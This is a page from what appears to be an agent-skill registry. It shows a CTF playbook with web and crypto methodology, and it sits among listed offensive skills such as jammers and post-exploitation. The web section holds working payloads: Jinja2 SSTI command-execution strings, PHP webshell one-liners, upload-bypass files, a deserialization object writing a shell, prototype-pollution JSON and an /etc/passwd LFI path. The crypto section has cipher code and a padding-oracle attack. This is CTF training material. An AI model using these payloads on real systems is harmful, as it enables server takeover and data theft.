ctf-playbook
Skill4 starsChanged 3 months agoMITView on GitHub
CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering,
- Reads credentials
In this repository80 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/security-agent-skills.mdcCursor rule
- ai-mcp-securitySkill
- modern-attack-surfacesSkill
- offensive-toolkitSkill
- security-and-hardeningSkill
- security-auditSkill
- security-code-reviewSkill
- ctf-jail-escapeSkill
- ctf-kernel-exploitationSkill
- ctf-misc-toolkitSkill
- ctf-orchestratorSkill
- ctf-technique-atlasSkill
- ctf-training-loopSkill
- ctf-web-exploitationSkill
- ctf-writeup-disciplineSkill
- ctf-writeup-screenshotsSkill
- binary-exploitationSkill
- crypto-attack-patternsSkill
- crypto-ctf-attacksSkill
- cryptography-fundamentalsSkill
- crypto-toolkitSkill
- encoding-realignmentSkill
- exploit-developmentSkill
- exploit-poc-builderSkill
- kernel-exploitationSkill
- zero-day-huntingSkill
- bluetooth-jammer-sweepSkill
- esp32-serial-diagSkill
- flipper-zero-backupSkill
- flipper-zero-firmwareSkill
- hardware-iot-hackingSkill
- nrf24-bitbang-spiSkill
- rf-jammer-firmware-portSkill
- rf-multi-protocol-jammerSkill
- smart-card-driver-debugSkill
- smart-card-usb-directSkill
- wifi-deauth-jammerSkill
- wifi-dualband-jammerSkill
- advanced-pentestSkill
- network-pentestSkill
- pentest-quick-checklistSkill
- pentest-tool-referenceSkill
- pentest-tool-setupSkill
- pentest-workflowSkill
- advanced-attack-chainsSkill
- autonomous-pentest-scannerSkill
- intranet-pentest-advancedSkill
- pentest-report-generatorSkill
- post-exploitation-opsSkill
- professional-pentest-guideSkill
- chatgpt-web-relaySkill
- darkweb-researchSkill
- email-osint-investigationSkill
- local-network-reconSkill
- network-device-reconSkill
- osint-frameworkSkill
- osint-recon-modelSkill
- parallel-intel-gatheringSkill
- reconnaissance-opsSkill
- The first 60 shown.
The file
Files
CTF Playbook
Comprehensive playbook for CTF competitions. Each category has its methodology, tools, common challenges, and exploit patterns.
Category Quick Reference
| Category | Common tools | Typical challenges |
| Web | Burp Suite, curl, Python requests | SQLi, XSS, SSTI, LFI, SSRF, deserialization, JWT |
| Crypto | Python, SageMath, CyberChef, RsaCtfTool | RSA, AES, padding oracle, hash collisions, classical ciphers |
| Reverse Engineering | Ghidra, IDA Free, radare2, gdb, angr | Binary analysis, obfuscation, packing, custom VMs |
| PWN | pwntools, gdb/pwndbg, ROPgadget, checksec | Buffer overflow, ROP, format string, heap exploitation |
| Forensics | binwalk, foremost, volatility, Wireshark, strings | File carving, memory forensics, PCAP analysis, disk images |
| Steganography | steghide, zsteg, stegsolve, exiftool, binwalk | Image stego, audio stego, LSB, metadata |
| OSINT | Google dorking, Shodan, WHOIS, social media | Geolocation, image analysis, social engineering |
| Misc | Everything else | Programming, logic puzzles, game hacking, protocols |
WEB
Quick Start — The Web Checklist
1. View page source (Ctrl+U) — comments, hidden fields, debug info
2. Check robots.txt, sitemap.xml, .git/, .env, .DS_Store
3. Check all cookies, localStorage, sessionStorage
4. Check HTTP headers (X-Powered-By, Server, Set-Cookie)
5. Try default credentials (admin:admin, admin:password)
6. Test for SQLi in every parameter
7. Test for SSTI if {{7*7}} appears in output
8. Test for LFI with ../../etc/passwd
9. Check file upload for unrestricted types
10. Look for JWT tokens — try alg:none, weak secretsCommon CTF Web Vulnerabilities
# SSTI quick check — if {{7*7}} outputs 49, SSTI exists
SSTI_CHECK = '{{7*7}}'
# Flask/Jinja2 RCE
JINJA2_RCE = "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
JINJA2_RCE_ALT = "{{ config.__class__.__init__.__globals__['os'].popen('cat /flag*').read() }}"
# PHP type juggling
PHP_MAGIC_HASH = '240610708' # == 'QNKCDZO' in PHP loose comparison
PHP_TYPE_JUGGLE = {
'0e12345': '0e67890', # both evaluate to 0 in scientific notation
'NULL': 'array() == NULL in PHP < 8',
}
# Node.js prototype pollution
NODE_PROTO = '{"__proto__":{"isAdmin":true}}'
NODE_PROTO2 = '{"constructor":{"prototype":{"isAdmin":true}}}'
# Deserialization
PHP_UNSERIALIZE_POP = '''
O:8:"Example1":1:{s:10:"cache_file";s:14:"/tmp/shell.php";}
'''File Upload Bypass Techniques
FILE_UPLOAD_BYPASS = {
'double_extension': 'shell.php.jpg',
'null_byte': 'shell.php%00.jpg',
'mime_bypass': "Content-Type: image/jpeg (with .php content)",
'magic_bytes': 'GIF89a;\\n<?php system($_GET["cmd"]); ?>', # starts with GIF header
'svg_xss': '<svg/onload=alert(1)>',
'phar_file': 'Create .phar archive with PHP payload',
'htaccess': 'Upload .htaccess to execute custom extensions',
'polyglot': 'Create files valid as both image and PHP',
}
# PHP webshell one-liner (for file upload challenges)
PHP_WEBSHELLS = [
'<?php system($_GET["cmd"]); ?>',
'<?php echo shell_exec($_GET["cmd"]); ?>',
'<?=`$_GET[0]`?>', # shortest
'<script language="php">system($_GET[0]);</script>',
]CRYPTO
Classical Ciphers
# Caesar cipher
def caesar(text: str, shift: int) -> str:
result = []
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
result.append(chr((ord(c) - base + shift) % 26 + base))
else:
result.append(c)
return ''.join(result)
# Vigenère cipher
def vigenere(text: str, key: str, decrypt: bool = True) -> str:
result = []
key_idx = 0
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
shift = ord(key[key_idx % len(key)].upper()) - ord('A')
if decrypt:
shift = -shift
result.append(chr((ord(c) - base + shift) % 26 + base))
key_idx += 1
else:
result.append(c)
return ''.join(result)
# XOR cipher
def xor_decrypt(data: bytes, key: bytes) -> bytes:
return bytes(d ^ key[i % len(key)] for i, d in enumerate(data))
# XOR single-byte key brute force
def xor_brute_single_byte(data: bytes):
results = []
for key in range(256):
decrypted = bytes(b ^ key for b in data)
# Score by English character frequency
score = sum(1 for b in decrypted if 32 <= b < 127)
results.append((key, decrypted, score))
return sorted(results, key=lambda x: x[2], reverse=True)RSA Attacks
# RSA Common attacks checklist
RSA_ATTACKS = [
'Small e (e=3): Cube root attack if m^e < n',
'Common modulus: Same n, different e — extended GCD',
'Small p or q: FactorDB lookup',
'Close primes: Fermat factorization if |p-q| is small',
'Wiener attack: Small d (d < n^0.25)',
'Boneh-Durfee: Larger d (d < n^0.292)',
'Håstad broadcast: Same message sent to e different recipients',
'Franklin-Reiter: Related messages with same modulus',
'Coppersmith: Known high bits of message or factor',
'GCD of multiple keys: Find common factors across many public keys',
]
# Quick RSA decode from PEM
def rsa_from_pem(pem_data: str):
"""Extract n, e from PEM public key."""
from cryptography.hazmat.primitives import serialization
key = serialization.load_pem_public_key(pem_data.encode())
numbers = key.public_numbers()
return numbers.n, numbers.e
# Check if n is in FactorDB
def factordb_check(n: int):
import requests
r = requests.get(f'http://factordb.com/api?query={n}')
data = r.json()
if data['status'] == 'FF': # fully factored
factors = data['factors']
return factors
return NoneAES Attacks
AES_MODES_ATTACKS = {
'ECB': 'Identical plaintext blocks → identical ciphertext blocks. Penguin attack.',
'CBC': 'Padding oracle if server reveals padding errors. Bit flipping on IV.',
'CTR': 'Nonce reuse → XOR ciphertexts to get XOR of plaintexts.',
'GCM': 'Nonce reuse → H key recovery → full forgery.',
'OFB/CFB': 'Bit flipping attack — single bit change in ciphertext flips corresponding bit in plaintext.',
}
# Padding oracle attack (CBC mode)
def padding_oracle(ciphertext: bytes, iv: bytes, oracle_fn, block_size: int = 16) -> bytes:
"""Generic padding oracle attack on CBC mode.
oracle_fn: function(ct, iv) -> bool (True if padding valid)
"""
blocks = [iv] + [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
plaintext = b''
for block_idx in range(1, len(blocks)):
intermediate = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_value = block_size - byte_pos
crafted_iv = bytearray(block_size)
for j in range(block_size - 1, byte_pos, -1):
crafted_iv[j] = intermediate[j] ^ pad_value
found = False
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle_fn(blocks[block_idx], bytes(crafted_iv)):
intermediate[byte_pos] = guess ^ pad_value
found = True
break
if not found:
crafted_iv[byte_pos] = intermediate[byte_pos] ^ 1
if oracle_fn(blocks[block_idx], bytes(crafted_iv)):
intermediate[byte_pos] = intermediate[byte_pos] ^ 1
found = True
pt_block = bytes(a ^ b for a, b in zip(intermediate, blocks[block_idx - 1]))
plaintext += pt_block
return plaintextSee Also
references/elliptic-curve-cryptography-ecc-attacks.md— Elliptic Curve Cryptography Ecc Attacksreferences/lattice-based-attacks.md— Lattice Based Attacksreferences/hash-attacks.md— Hash Attacksreferences/advanced-rsa-attacks.md— Advanced Rsa Attacksreferences/ecc-deep-attacks.md— Ecc Deep Attacksreferences/symmetric-cryptanalysis.md— Symmetric Cryptanalysisreferences/lattice-cryptography-deep-dive.md— Lattice Cryptography Deep Divereferences/authenticated-encryption-attacks.md— Authenticated Encryption Attacksreferences/side-channel--fault-attacks.md— Side Channel Fault Attacksreferences/zkp--protocol-attacks.md— Zkp Protocol Attacksreferences/quantum--post-quantum.md— Quantum Post Quantumreferences/blockchain--cryptocurrency-crypto.md— Blockchain Cryptocurrency Cryptoreferences/historical-ciphers--specialized-attacks.md— Historical Ciphers Specialized Attacksreferences/reverse-engineering.md— Reverse Engineeringreferences/pwn--binary-exploitation.md— Pwn Binary Exploitationreferences/advanced-stack-exploitation.md— Advanced Stack Exploitationreferences/fsop--file-stream-oriented-programming.md— Fsop File Stream Oriented Programmingreferences/kernel-exploitation.md— Kernel Exploitationreferences/v8browser-exploitation.md— V8Browser Exploitationreferences/mitigation-bypass-techniques.md— Mitigation Bypass Techniquesreferences/integer-overflow--type-confusion.md— Integer Overflow Type Confusionreferences/cross-architecture-pwn.md— Cross Architecture Pwnreferences/pwntools-advanced-usage.md— Pwntools Advanced Usagereferences/gdbpwndbg-advanced.md— Gdbpwndbg Advancedreferences/forensics.md— Forensicsreferences/steganography.md— Steganographyreferences/osint-in-ctf-context.md— Osint In Ctf Contextreferences/ctf-automation-script.md— Ctf Automation Scriptreferences/deep-knowledge-references.md— Deep Knowledge Referencesreferences/pitfalls.md— Pitfalls
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

